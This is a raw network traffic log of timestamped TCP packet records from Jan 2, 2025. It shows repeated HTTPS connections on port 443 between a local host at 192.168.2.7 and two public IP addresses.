Jan 2, 2025 20:11:06.857080936 CET	443	56060	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:06.857259989 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.857585907 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.857599020 CET	443	56060	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:06.896562099 CET	443	56058	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:06.896663904 CET	56058	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.896673918 CET	443	56058	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:06.896735907 CET	56058	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.896823883 CET	56058	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.896872997 CET	443	56058	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:06.897042990 CET	56058	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.897377014 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.897427082 CET	443	56061	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:06.897525072 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.897799015 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:06.897814035 CET	443	56061	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:06.918109894 CET	443	56057	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:06.918164968 CET	443	56057	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:06.918190956 CET	56057	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.918203115 CET	443	56057	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:06.918258905 CET	56057	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.918266058 CET	443	56057	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:06.918324947 CET	443	56057	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:06.918325901 CET	56057	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.918382883 CET	56057	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.919388056 CET	56057	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.919406891 CET	443	56057	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:06.920291901 CET	56062	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.920332909 CET	443	56062	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:06.920434952 CET	56062	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.920720100 CET	56062	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:06.920737028 CET	443	56062	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.143678904 CET	443	56059	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.143739939 CET	443	56059	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.143815994 CET	56059	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.143837929 CET	443	56059	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.143860102 CET	443	56059	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.143887043 CET	56059	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.143939018 CET	56059	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.144680023 CET	56059	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.144716024 CET	443	56059	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.145154953 CET	56063	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.145203114 CET	443	56063	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.145706892 CET	56063	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.146034002 CET	56063	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.146049023 CET	443	56063	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.489099026 CET	443	56060	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.489214897 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.490011930 CET	443	56060	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.490088940 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.494000912 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.494013071 CET	443	56060	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.494287014 CET	443	56060	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.496001959 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.496383905 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.537623882 CET	443	56061	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.537879944 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.538552046 CET	443	56061	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.538630009 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.539340019 CET	443	56060	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.540677071 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.540693998 CET	443	56061	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.541011095 CET	443	56061	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.541096926 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.541512012 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.557993889 CET	443	56062	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.558172941 CET	56062	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.558752060 CET	56062	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.558763027 CET	443	56062	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.560492039 CET	56062	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.560498953 CET	443	56062	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:07.587337017 CET	443	56061	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.752329111 CET	56063	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.752329111 CET	56060	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.752388954 CET	56062	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:07.752392054 CET	56061	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.753251076 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.753288984 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.753367901 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.754700899 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.754714966 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.755343914 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.755379915 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:07.755456924 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.755815029 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:07.755834103 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.401969910 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.402082920 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.402560949 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.402570963 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.402767897 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.402774096 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.481977940 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.482117891 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.482690096 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.482698917 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.482886076 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.482893944 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.789558887 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.789638042 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.789660931 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.789705038 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.789994955 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.790069103 CET	443	56065	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.790127039 CET	56065	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.791147947 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:08.791191101 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:08.791271925 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:08.791627884 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.791676044 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.791735888 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.792314053 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:08.792334080 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:08.792679071 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.792695045 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.871609926 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.871778965 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.872611046 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.872684002 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.872720003 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.872731924 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.909920931 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.909956932 CET	443	56066	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.909970045 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.910010099 CET	56066	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.911453962 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:08.911500931 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:08.911590099 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:08.911973000 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.911982059 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.912055016 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.937230110 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:08.937249899 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:08.938405991 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:08.938419104 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.425642014 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.425734997 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.426383018 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.426445007 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.426445961 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.426532030 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.431806087 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.431821108 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.432065010 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.432127953 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.432846069 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.444533110 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.444562912 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.444931030 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.444989920 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.445543051 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.475338936 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.491332054 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.570307970 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.570401907 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.571400881 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.571479082 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.579416990 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.579427958 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.579817057 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.579914093 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.581605911 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.586663008 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.586743116 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.590014935 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.590024948 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.590298891 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.590363026 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.590898991 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.627332926 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.635328054 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.807070017 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.807143927 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.807159901 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.807219028 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.807306051 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.807352066 CET	443	56070	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.807410002 CET	56070	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.807912111 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.807960987 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.808037996 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.808269978 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.808289051 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.849138975 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.849198103 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.849200964 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.849211931 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.849247932 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.849276066 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.849283934 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.849380970 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.849389076 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.849447012 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.849457979 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.849510908 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.850130081 CET	56069	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.850143909 CET	443	56069	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.850682020 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.850718021 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.850790024 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.851049900 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:09.851063967 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:09.954854965 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.954936028 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.954948902 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.954997063 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.955189943 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.955221891 CET	443	56072	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.955271959 CET	56072	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.955847979 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.955889940 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:09.955991983 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.956182957 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:09.956199884 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.015168905 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.015223026 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.015330076 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.015337944 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.015382051 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.015398979 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.016330957 CET	56071	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.016355038 CET	443	56071	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.016835928 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.016890049 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.016983986 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.017244101 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.017271996 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.449116945 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.449275017 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.449907064 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.449985981 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.451998949 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.452011108 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.452299118 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.452389956 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.452828884 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.487272978 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.487488031 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.487837076 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.487847090 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.488019943 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.488029003 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.495347023 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.584938049 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.585087061 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.585721016 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.585820913 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.594671011 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.594691992 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.594944000 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.595025063 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.595546961 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.639337063 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.645555019 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.645613909 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.646039963 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.646045923 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.646262884 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.646271944 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.832110882 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.832176924 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.832196951 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.832251072 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.832324028 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.832362890 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.832370996 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.832413912 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.834743023 CET	56073	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.834762096 CET	443	56073	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.835740089 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.835783005 CET	443	56078	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.835854053 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.836353064 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.836366892 CET	443	56078	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.908916950 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.908979893 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.908986092 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.909015894 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.909034014 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.909073114 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.909079075 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.909106016 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.909130096 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.909149885 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.910238981 CET	56074	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.910253048 CET	443	56074	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.911293983 CET	56079	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.911331892 CET	443	56079	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.911431074 CET	56079	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.911640882 CET	56079	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:10.911650896 CET	443	56079	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:10.968137026 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.968208075 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.968225956 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.968274117 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.968374014 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.968417883 CET	443	56075	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.968471050 CET	56075	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.968952894 CET	56080	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.968982935 CET	443	56080	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:10.969054937 CET	56080	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.969281912 CET	56080	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:10.969295979 CET	443	56080	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.062164068 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.062233925 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.062304020 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.062334061 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.062346935 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.062386990 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.062392950 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.062439919 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.062565088 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.062628984 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.063561916 CET	56076	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.063580036 CET	443	56076	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.064124107 CET	56081	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.064173937 CET	443	56081	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.064261913 CET	56081	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.064557076 CET	56081	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.064572096 CET	443	56081	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.485651016 CET	443	56078	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.485971928 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:11.486438990 CET	443	56078	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.486521959 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:11.490078926 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:11.490092039 CET	443	56078	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.490498066 CET	443	56078	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.490628958 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:11.490917921 CET	56078	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:11.535326958 CET	443	56078	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.608283043 CET	443	56079	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.608458996 CET	56079	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.609163046 CET	56079	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.609172106 CET	443	56079	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.611499071 CET	56079	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:11.611509085 CET	443	56079	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:11.661920071 CET	443	56080	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.662220955 CET	56080	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:11.662712097 CET	443	56080	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:11.662777901 CET	56080	443	192.168.2.7	142.250.74.206
